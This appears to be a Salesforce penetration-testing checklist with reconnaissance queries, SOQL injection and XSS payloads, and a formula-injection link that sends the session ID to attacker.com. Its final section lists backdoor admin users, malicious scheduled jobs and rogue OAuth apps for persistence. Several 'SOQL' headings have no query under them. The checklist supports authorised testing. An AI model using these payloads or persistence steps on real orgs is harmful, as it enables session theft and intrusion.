Salesforce 2
Table of Contents
- Preparation & Legal Considerations
- Reconnaissance & Information Gathering
- Authentication & Session Management
- Authorization & Access Control Assessment
- Data Leak & Sensitive Info Exposure
- Custom Code Security Testing
- Platform Configuration & Metadata Security
- API & Integration Security
- Client-Side & UX Vulnerabilities
- Advanced & Chainable Attack Vectors
- Persistence, Lateral Movement & Post-Exploitation
- Reporting, Remediation & References
1. Preparation & Legal Considerations
Checklist
- Test Accounts for:
- Admin, Standard User, Guest, Integration
- Tooling:
- Salesforce CLI (sfdx), simple_salesforce, Postman, Burp Suite, Salesforce Inspector, PMD, browser dev tools
2. Reconnaissance & Information Gathering
Salesforce Edition & Instance
Identify org context, features, and technical footprint
UI Navigation - Setup > Company Information for Org ID, Edition, Instance
SOQL
User & Profile Enumeration
Find high-value/admin accounts and role mappings.
SOQL
Find users with sensitive permissions:
SELECT Assignee.Name, PermissionSet.PermissionsModifyAllData
FROM PermissionSetAssignment
WHERE PermissionSet.PermissionsModifyAllData = TRUE OR PermissionSet.PermissionsViewAllData = TRUE
Public Endpoints & Sites
Identify unauthenticated exposure (Sites/Communities).
- Setup > Digital Experiences > All Sites: Review for exposed URLs and guest content
- Manual: Visit home page while unauthenticated, try API endpoints (
/services/data/
)
Custom Code & App Footprint
Enumerate all custom code and package attack surface.
- Setup > Custom Code (Apex Classes/Triggers, Visualforce, LWC/Aura)
- Setup > Installed Packages
- SOQL
3. Authentication & Session Management
Password Policy & Lockout
Weak policies = brute force risk.
- Setup > Security > Password Policies
- SOQL
- Testing
- Hydra/Burp: Try brute force with discovered/minimal password policy
Multi-Factor Authentication (MFA)
Check for enforcement.
SOQL
- Setup > Security > MFA: Review enforcement policy
Session Security
Check for session fixation/hijacking.
- Setup > Security > Session Settings (IP lock, timeout, domain lock)
- Testing
- Replay session cookies from new IP/device
- Attempt session fixation via re-used session IDs
Login Flows & SSO
SOQL
SELECT Id, DeveloperName, UsedForAuthentication FROM Flow WHERE Type = 'LoginFlow'
SELECT Id, Name, Issuer, EntityId FROM SamlSsoConfig
4. Authorization & Access Control Assessment
Profile & Permission Set Analysis
Locate over-privileged users, map escalation paths.
SOQL: Find high-privilege/profiles permission sets
SELECT AssigneeId, PermissionSet.Name, PermissionSet.PermissionsModifyAllData
FROM PermissionSetAssignment WHERE PermissionSet.PermissionsModifyAllData = TRUE
Field-Level Security (FLS)
Check for control bypass/exposed fields.
SOQL
SELECT Id, ParentId, Field, PermissionsRead, PermissionsEdit
FROM FieldPermissions WHERE Field LIKE '%SSN%' OR Field LIKE '%Credit%'
Sharing Model & Record Access
Find over-permissive OWD & sharing rules.
- Setup > Security > Sharing Settings
SOQL
- Test with practical IDOR: Change record ID in URL as a low-privileged user.Guest User & Community Exposure
SOQL
- Sites > Public Access Settings: Review CRUD permissions for guest profile.5. Data Leak & Sensitive Info Exposure
Sensitive Data Discovery
SOQL
- Scan for custom objects/fields with possible PII/HCI.Data Export Capabilities
Where to look: - Setup > Data Export; Data Loader/Workbench - Bulk data extraction using API tokens
Report/Dashboard Overexposure
SOQL
- Reports > All Reports: Export as low-priv userChatter, Feeds & Public Info
SOQL
6. Custom Code Security Testing
SOQL Injection in Apex
Vulnerability - Dynamic SOQL using untrusted input
Example Payload
String userInput = "' OR Name != '' OR '";
String query = 'SELECT Id, Name FROM Account WHERE Name = \'' + userInput + '\'';
List<Account> results = Database.query(query);
- Test: Submit payloads through any field/endpoint that feeds into SOQL
Remediation: Always use bind variables (WHERE Name = :userInput
)
FLS & CRUD Bypasses
Vulnerability - Code ignores object/field-level security.
Testing - As low-priv user, attempt to trigger DML or read objects/fields not granted via FLS.
Remediation
- Always call isAccessible()
, isUpdatable()
, utilize WITH SECURITY_ENFORCED
in SOQL
XSS in Visualforce/Lightning
Vulnerability - Outputting unescaped user data.
Code Example
- Inject payload:<script>alert(42)</script>
Remediation
- Always use escape="true"
, use sanitized variables
Aura/LWC Exposures
- @AuraEnabled methods called by unintended users.
- DOM-based XSS via unsafe innerHTML
Remediation: Set Apex Class security, avoid unsanitized DOM writes.
7. Platform Configuration & Metadata Security
Critical Settings Audit
IP Whitelisting/Restrictions
- Setup > Security > Network AccessCustom Settings & Custom Metadata
- Setup > Custom Settings / Custom Metadata
- Look for hardcoded secrets, API keys, or URLs
Metadata API Abuse
- Unauthorized modification of profiles/validation rules via API (SOAP/REST)
- Test with
/services/Soap/m/XX.0
and manipulate metadata
8. API & Integration Security
Connected Apps & OAuth
SOQL
Test
- Manipulate OAuth redirect_uri
, overbroad scopes (full
, api
)
- Use unauthorized/abused OAuth tokens for data exfiltration
Named Credentials
- Examine endpoint security (must be HTTPS)
- Test for SSRF, credential leak via misconfigured objects.
REST/SOAP/Bulk API
- Test for excessive permissions via API tokens
- Abuse
/services/data/vXX.0/{sobjects/query/apexrest}
endpoints
API Abuse Example
curl -H "Authorization: Bearer <TOKEN>" \
"https://<instance>.salesforce.com/services/data/v58.0/sobjects/Contact"
9. Client-Side & UX Vulnerabilities
XSS & DOM-Based Attacks
- Insert payloads into custom inputs/components or formula fields
- Look for
retURL
/startURL
open redirect in auth flows
Clickjacking/CSRF
- Setup > Session Settings: Confirm clickjack protection is ON
- Try embedding Salesforce pages in iframes
10. Advanced & Chainable Attack Vectors
Formula Injection
Payloads
HYPERLINK("javascript:alert('Formula XSS')", "Click")
HYPERLINK("http://attacker.com/?sid="&$Api.Session_ID, "Export SID")
Platform Event/Process Builder/Flow Exploitation
- Low-priv user triggers system-context automation, e.g., process updates records they can't normally write
Denial of Service
- Infinite Flows/recursive Apex/scheduled job loop
11. Persistence, Lateral Movement & Post-Exploitation
Persistence
- Create hidden admin or backdoor user via Apex (if possible)
- Implant malicious Flow or scheduled Apex job for recurring access
- Register own Connected App for persistent OAuth access
Lateral Movement
- Assign oneself admin permissionSet via vulnerable Flows/Process automation
SOQL